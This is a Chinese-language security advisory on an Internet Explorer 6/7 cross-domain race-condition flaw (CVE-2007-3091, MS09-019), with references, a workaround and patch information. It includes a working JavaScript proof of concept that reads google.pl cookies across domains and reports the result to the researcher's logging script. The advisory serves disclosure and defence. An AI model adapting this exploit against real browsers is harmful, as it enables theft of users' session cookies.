安全研究

安全漏洞
Microsoft IE Javascript跨域导航竞争条件漏洞(MS09-019)

发布日期:2007-06-04
更新日期:2009-06-10

受影响系统:
Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.x
描述:
BUGTRAQ  ID: 24283
CVE(CAN) ID: CVE-2007-3091

Internet Explorer是一款非常流行的WEB浏览器。

IE在处理Javascript执行的过程中存在漏洞,远程攻击者可能利用此漏洞在用户机器上执行恶意代码或导致浏览器崩溃。

如果Javascript要求IE从符合同源策略的页面导航至无关的第三方站点的话,当前正在执行的Javascript存在一个机会窗口以旧页面的权限对新加载页面的内容执行操作,如读取或设置victim.document.cookie、任意更改文档DOM(包括更改表单提交URL)、注入代码或由于读写了没有完全初始化的数据结构触发内存破坏,导致浏览器崩溃。

<*来源:Michal Zalewski (lcamtuf@echelon.pl
  
  链接:http://lcamtuf.coredump.cx/ierace/
        http://marc.info/?l=bugtraq&m=118097185402772&w=2
        http://www.kb.cert.org/vuls/id/471361
        http://secunia.com/advisories/25564/
        http://www.microsoft.com/technet/security/Bulletin/MS09-019.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA09-160A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<script>

var nw;
var i1, i2, i3, fail;

function foobar() {


  nw = open("http://lcamtuf.coredump.cx/ierace/nothing.html","victim");

  i1 = setInterval('winchecker()',1);
  
  i2 = setInterval("try { nw.location.href = 'http://www.google.pl/'; } catch (e) {} ",500);
  i3 = setInterval("try { nw.location.href = 'http://lcamtuf.coredump.cx/ierace/nothing.html'; } catch (e) {} ",601);

  fail = setTimeout("failure()",120 * 1000);

}

function winchecker() {

  try {
    x = nw.document.cookie;
    if (x) {  
      alert("Your google.pl cookie:\n\n" + x + "\n\nTest successful. Your browser is vulnerable.");
      nw.close();
      clearInterval(i1);
      clearInterval(i2);
      clearInterval(i3);
      clearTimeout(fail);

      x = new XMLHttpRequest();
      x.open("GET","http://lcamtuf.coredump.cx/ierace/log.cgi?success", false);
      x.send(null);

    }
  } catch (e) {}

}

function failure() {
  clearInterval(i1);
  clearInterval(i2);
  clearInterval(i3);
  nw.close();
  alert("Failed to obtain cookie in 120 seconds.\n\n" +
        "Your browser might be not vulnerable, or your\n" +
        "network performance deviates from what this\n" +
        "script expects. Try again or give up.\n");

  x = new XMLHttpRequest();
  x.open("GET","http://lcamtuf.coredump.cx/ierace/log.cgi?failure", false);
  x.send(null);

}
  

</script>

建议:
临时解决方法:

* 禁用Javascript。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS09-019)以及相应补丁:
MS09-019:Cumulative Security Update for Internet Explorer (969897)
链接:http://www.microsoft.com/technet/security/Bulletin/MS09-019.mspx?pf=true

浏览次数:3288
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障